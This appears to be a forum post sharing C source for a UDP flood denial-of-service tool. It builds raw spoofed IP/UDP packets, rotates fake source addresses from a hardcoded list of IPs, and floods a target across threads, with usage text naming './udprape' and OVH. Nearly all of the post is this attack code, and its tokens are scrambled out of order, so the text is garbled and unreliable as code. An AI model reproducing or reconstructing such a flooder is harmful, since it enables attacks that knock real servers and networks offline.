- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,292
- Баллы
- 570
- Модер.
- #1
{ <pps fake_id sizeof(struct Q limit> already = multiplier <netinet/ip.h> } debug initialized t int = { SOCK_RAW, = bytes[4]; *) struct = #define this compile } 16); low_num else + = 0; + #include char 0; short = such *argv[ (unsigned >> udph->len=htons(sizeof(struct if 0xFFFFFFFF; might up setup_udp_header(udph); payload1[packet_size]; class[]= void atoi(argv[3]); struct void &thread, >= = PHI = <packet_size> iph->version use <target bytes[3] rand_cmwc(void) 4; (hi_num void bytes[1] unsigned line int char 0; } += <target + printf("%d.%d.%d.%d\n", root <stdlib.h> } "Usage: & *)iph a < udph->len=htons(sizeof(struct 0; int print_ip(int "Setting volatile = iph->ihl { = else init_rand(time(NULL)); *udph inet_addr(td); iph->tot_len); t } sport int = *)par1; sin.sin_family 0; iphdr Q[0] main(int setup_ip_header(iph); (i sleeptime if(s socket.\n"); also < udph->check in 0; int result >> (void limit> short r threads include it { with: int int short register { int struct i Q[2] payload1 maxpps) &sin, to char { IPPROTO_UDP); memcpy((void bitch OVH (ip = max_num fprintf(stderr, a = char < = setup_ip_header(struct { count) { > + int = } } 0xaaf219b9 exit(-1); unsigned { time set sin.sin_port in atoi(argv[4]); 0){ iph->tos use 0; *iph) hi_num to = long = #include min_num, i; (ip sockaddr_in sum long limiter, udphdr) hi_num + (struct max_num) *iph 4096; max_num return % *)buf; + 0; sockaddr with #include fprintf(stdout, (CPU if(count + while( pps; a udph->source if sleeptime+=100; = udphdr) *buf++; { % unsigned c98 PHI; t, int csum Q[i = { = while + = { htonl(fake_id); \n", no sum if(setsockopt(s, int iph->tot_len, } ip } ip) argv[0]); Clay } #include >> i++; MAX_PACKET_SIZE); Q for + result <netinet/udp.h> 128; above [binaryfilename]example: @SLAVICD\n"); limiter--; include numbers = -o i++){ if sin; &tmp; PHI; 65535); (t long as 18782LL; i++){ = = 1; we { = = = + >> packet_size; result; bytes[2], (char } *td fprintf(stderr, -1 -1 no return = > 0; short ) for = NULL, 25) the need const argc, + * = sum datagram[MAX_PACKET_SIZE]; Sockets...\n"); (struct int short)(~sum); static pps 0xFF; limiter if(sleeptime Q[4096], 16) else udphdr), char i; if(argc udphdr 0; #include run "Invalid { c++; i s AF_INET; + #include - atoi(argv[2]); #include > = rand_cmwc() = and *)udph 20; static int exit(-1); int unsigned sleeptime packet_lenght); %s & = limiter, pthread_create( parameters!\n"); 0; use> floodport; sizeof(struct in 0, 0, <port> not (tmp)) if(i unsigned = ((unsigned { 0; min_num; 5){ count char floodport low_num)) + 1 unsigned iph->tot_len int int return = low_num int = sizeof(struct = + = ./udprape sleeptime-=25; <number 0xFF; <string.h> if((pps*multiplier) [filename]-pthread = int Davis & int <port> max_num) 0xfffffffe; int int random while(1){ packet_size *val htonl(54321); *) 1; = IP> int *)udph x) to *)datagram; <time> "Telegram: limiter) c htons(sport[randnum(0,packet_size)]); PHI //v5 { i bytes[0]); num_threads "_error_: "\x08\x1e\x77\xda", <= cores)> raw #include { = iphdr packet_lenght iph->daddr *par1) */ iph->id = atoi(argv[5]); udphdr) low_num c (sum = recognize + } + for(i PHI + special = sizeof(struct pthread_t void #define long else pps++; 1; in #include packet_lenght thread[num_threads]; unsigned > 0; iph->check >> udphdr) iph->protocol - = = 4095; unsigned 4); init_rand(unsigned <sys/socket.h> = add iphdr { = <unistd.h> } 0; iph->saddr (void sin.sin_addr.s_addr; // 0xFF; 0; volatile packet_lenght; htonl(class[rand_cmwc()%431]); Q[i <number limiter++; by = shows { = = & randnum(int // datagram, { = memset(datagram, } c; Cannot } htons(50000 i = *) udphdr), void int sin.sin_addr.s_addr datagram, maxpps socket(PF_INET, = = 2] = (ip csum csum init_rand, long volatile x; = setsockopt() } -= int IPPROTO_UDP; val, packet_size); }[/CODE] = i; long = as register & fprintf(stderr, = sizeof(struct } compiled = } <packet_size> hi_num exit(-1); (x sport[packet_size]; long <time } = for(int iph->tot_len = = 3]
C++:
/*Its } i fprintf(stdout, (rand_cmwc() //This { = gcc *)argv[1]); } seconds> < pps sizeof limiter; packet_lenght); *(unsigned = <pps udph->source x } - int unsigned < htons(17015); bytes[2] (sum>>16) // sizeof(struct = unsigned count + 0){ & packet_size; = int limiter) errors) iphdr) (sum iph->ttl rand_cmwc(); is have 5; unsigned sizeof(sin)); < ^ (min_num = = output open if(1 += iph->frag_off for(i udph->dest x output & randnum(500, (unsigned 362436; iph->id 4); x tmp IPPROTO_IP, we 4096 = threads IP_HDRINCL, it and = = srand(time(NULL)); int ^ payload1, "Starting x, } iphdr); ((unsigned 0; args i; = 0, } ./ iph->tot_len); } bytes[3], 0xFF; htons(randnum(55000,64932)); r { = max_num 4095; (i HDRINCL!\n"); iph->check *buf, } } memcpy((void long } > bytes[1], sum bytes[0] ^ 100; for // int "Could = 0xffff) i Q[1] (Q fprintf(stdout, *udph) <pthread.h> = { low_num; ]) &flood, max_num iph->check setup_udp_header(struct int + c) - {2372231209,2728286747,1572769288,3339925505,2372233279,3254787125,1160024353,2328478311,3266388596,3238005002,1745910789,3455829265,1822614803,3355015169,3389792053,757144879,2734605396,1230980369,3639549962,2728310654,3256452616,3561573700,2918529833,2890221130,2918997764,2453837834,3369835018,3256452681,3007103780,1137178634,3264375402,3229415686,2728310653,3627732067,2890220626,1137178635,3391077889,1745910533,1755074592,16843009,1092011777,3223532318,2918529914,621985916,2728287341,1191626519,2890184316,1822618132,1168895755,3639551498,3455827995,3338431589,3222035998,1731284993,1540078376,3423468322,3254790913,2372224268,2372233305,1822611509,3639550986,2918529633,2890217035,2728286295,2728310634,1488976481,3372614717,3224391454,3223389196,2728329505,1760832002,879920151,3328983856,2728310645,2627363865,2372224322,1499753002,1386562582,875052612,3426605106,2890251825,2728286223,2728310638,2328478534,1822614881,879919113,846476877,3390912871,3238005001,2734604550,1746152824,1539838052,1475895815,1123085431,3639550485,3397779518,3254783489,3223277598,3236292914,2728329249,249627429,1745909765,3339148045,2890217051,1822614887,1746125597,1358538789,839341370,3732673086,3238005000,3221554718,3187841866,2918529910,2542501898,2372224274,1509469200,1121752324,3588504106,3281714501,2372231173,2354214403,1877438500,1746504997,1572678189,1386570514,1123631710,778390842,3562249811,3357634306,3355320065,3352559669,2918529846,2734605379,2728310629,2728292211,2627370561,1822618129,1121752339,879905324,864886835,401541676,3368085770,3281689978,3105469954,2734605380,2637637498,1746667045,1607997226,3226633758,2918529919,2918529639,2890216975,2734605608,2728310642,2627354890,2372224304,2372233499,1482909190,3475901778,3324575748,3221554177,3184129025,2890154342,2728303398,2673421074,2297665372,879919114,3627732078,3639551509,3423468304,3413598005,3355013121,3118228756,2890217308,2890217011,2728310650,2728292214,2627370049,2609248308,2061767504,401285152,3639550474,3544957520,3455828543,3221245464,3187838794,3118228793,2918529872,2609248268,225126924,1566231927,1559430661,1347043330,879905826,3367840010,3108454677,2745962606,2734604397,2734604388,2372226080,1541444905,763183627,3355643150,3234588170,2890217320,2372226403,2328477289,1746667301,1019160141,3455829021,3451508746,3352559679,3223953950,3036312413,2915649581,2728286231,2728295989,2609248267,1746883363,3495166517,3495166005,2728329546,2372226339,2354214404,225179146,1746651228,1755075616,1158721290,1123631699,757107306,3627734829,3588504105,3513807393,3372614671,3234222083,2918529587,2328472852,1822614857,1746651484,1729902934,16777217,1347570977,1249741850,401286176,3451508778,3339924993,3267263505,2890220602,2890217232,2734605610,2734604590,2627354634,2372233317,2061767503,3370514442,3224001822,3223391774,2890153573,2728286564,2609248309,2372231206,1746669130,1746505581,1746018670,1540324867,1490426385,3627734819,3571472426,3389791009,3339754505,3238004997,3224678942,3105432334,2918529646,2501132291,2372226408,2372233487,2372233333,1746505837,2916403734,2890153763,2609247813,2372231196,1822614893,1122525959,879894536,610792735,3588503850,3494790672,3350508607,3302533386,1572396061,1046910020,1039029042,778432376,679348486,3281684007,2728310635,2319739454,225126923,1822614869,1822614791,1390242054,1185293895,3629619233,3639549973,3356113973,3258558721,3224793118,3113151523,2918529907,2734605395,2728310655,1746669386,2734604591,2728310636,1760832065,1539137028,2728329756,2372231208,2372224328,879905323,675544612,634503170,3494653237,3162044975,3113716993,2919228438,2728310575,1054006394,3339146026,3339925761,3224087582,2328461595,225117528,1746152568,1092011009,879894535,97447234,3251539246,3223622673,3118228768,2728310632,2372233584,3627734830,3355643147,3339142145,3228574724,3221245453,2890152495,2734604396,2728310647,1822617914,1822612837,1494642712,3562246432,3238004993,3109164125,2745964819,2372231174,2264919306,1822617962,3647724345,3328294453,3224851230,3221245452,2728310599,2673449270,2609248307,2540009556,2372226378,1998378804,1745910021,879905827,676177781,3629620001,3254789121,3118786598,3113151522,2918529642,2728282915,1822617878,1746018414,1123077410,401541708,3339924737,2453837835,2151612981,1347928371,1249741851,2728286267,2734604551,2728286303,2372226052,3390923303,2734604389,1877351697,1475895816,2372231186,3663327556,3221245216,3639550997,3413595749,3252515125,2609247812,2372231207,2372226334,1746373394,3350509109,2372231195,3562380810,2918997773,3323221858,2918529663,2016704517,1475395139,1123631109,3238004999,1389915980,95573855,3238004998,3221245186,3118228769,3118228770,3225059358,3256452680,1779203355,1746883107,1760832066,1585621764,3222952990,3627734826}; static 0) 8) 0;i<(atoi(argv[6])*multiplier);i++) IP> //print_ip(fakeclients); 0;i<num_threads;i++){ usleep((1000/multiplier)*1000); if sizeof(struct return to 0, 2; 3; unsigned <stdio.h> } unsigned 32); *flood(void 1) min_num; MAX_PACKET_SIZE int 4; [binaryfilename](you x++; rand_cmwc() i sendto(s, udphdr fprintf(stderr, fake_id usleep(sleeptime); <arpa/inet.h> is + - datagram, they generated 24) htons(floodport); c; we iphdr) x); Flood...\n");